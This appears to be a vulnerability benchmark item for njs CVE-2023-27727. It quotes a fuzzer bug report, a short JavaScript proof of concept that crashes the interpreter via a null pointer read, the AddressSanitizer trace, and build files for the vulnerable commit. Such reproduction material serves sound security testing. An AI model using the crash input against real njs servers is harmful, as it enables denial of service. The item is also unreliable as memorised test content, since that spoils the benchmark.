Project: njs (nginx/njs), language: c++
Vulnerability instance: njs.cve-2023-27727
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/617
## Description:
Issue: nginx/njs#617
Title: SEGV src/njs_function.h:155:9 in njs_function_frame
State: closed
Created by: ret2ddme
Created at: 2023-02-21 02:44:30+00:00
Labels: bug, fuzzer

Issue Body:
Environment
```
commit: 4c1e23326e1c30e4e051bf588bfc1aaa63954976
version: 0.7.10
Build   : 
     ./configure --cc=clang --address-sanitizer=YES     
     make
```
Poc
```js
const v1 = EvalError(EvalError);
Object.defineProperty(v1, "message", { configurable: true, set: EvalError });
delete v1.message;
EvalError(v1);
```
Asan
```
==31577==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000030 (pc 0x00000053ee4e bp 0x7ffc9539f0f0 sp 0x7ffc9539f0d0 T0)
==31577==The signal is caused by a READ memory access.
==31577==Hint: address points to the zero page.
    #0 0x53ee4e in njs_function_frame /root/njs/src/njs_function.h:155:9
    #1 0x53ee4e in njs_function_call2 /root/njs/src/njs_function.c:508:11
    #2 0x51f100 in njs_function_apply /root/njs/src/njs_function.h:192:12
    #3 0x51f100 in njs_object_property /root/njs/src/njs_object_prop.c:138:12
    #4 0x553f76 in njs_error_to_string2 /root/njs/src/njs_error.c:619:11
    #5 0x55528d in njs_error_prototype_to_string /root/njs/src/njs_error.c:682:12
    #6 0x53ff0a in njs_function_native_call /root/njs/src/njs_function.c:645:11
    #7 0x53ef49 in njs_function_frame_invoke /root/njs/src/njs_function.c:692:16
    #8 0x53ee73 in njs_function_call2 /root/njs/src/njs_function.c:513:12
    #9 0x4d5b96 in njs_function_apply /root/njs/src/njs_function.h:192:12
    #10 0x4d5b96 in njs_value_to_primitive /root/njs/src/njs_value.c:167:23
    #11 0x554976 in njs_value_to_string /root/njs/src/njs_value_conversion.h:189:19
    #12 0x554976 in njs_error_constructor /root/njs/src/njs_error.c:309:19
    #13 0x53ff0a in njs_function_native_call /root/njs/src/njs_function.c:645:11
    #14 0x53ef49 in njs_function_frame_invoke /root/njs/src/njs_function.c:692:16
    #15 0x4e77c2 in njs_vmcode_interpreter /root/njs/src/njs_vmcode.c:1512:15
    #16 0x4de86a in njs_vm_start /root/njs/src/njs_vm.c:553:11
    #17 0x4cad73 in njs_process_script /root/njs/src/njs_shell.c:952:19
    #18 0x4cb556 in njs_process_file /root/njs/src/njs_shell.c:678:11
    #19 0x4c94be in main /root/njs/src/njs_shell.c:335:15
    #20 0x7f4f0bc58c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
    #21 0x41f1d9 in _start (/root/njs/build/njs+0x41f1d9)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/njs/src/njs_function.h:155:9 in njs_function_frame
```







Commit References:
4c1e23326e1c30e4e051bf588bfc1aaa63954976

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure
make -j$(nproc) clean
make -j$(nproc) all
make install -j$(nproc)
sed -i "s/\$libS\$libR \(-lpcre2-8$\)/\$libS\$libR -Wl,-Bstatic \1 -Wl,-Bdynamic/" /usr/local/bin/pcre2-config
./configure
make njs_fuzzer -j$(nproc)
mkdir -p $SEED_CORPUS_PATH

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout e946c8a942ead0ff6b56abc35cf3d5d5ede7f9c4
WORKDIR $SRC/njs
COPY build.sh $SRC/

Additional files: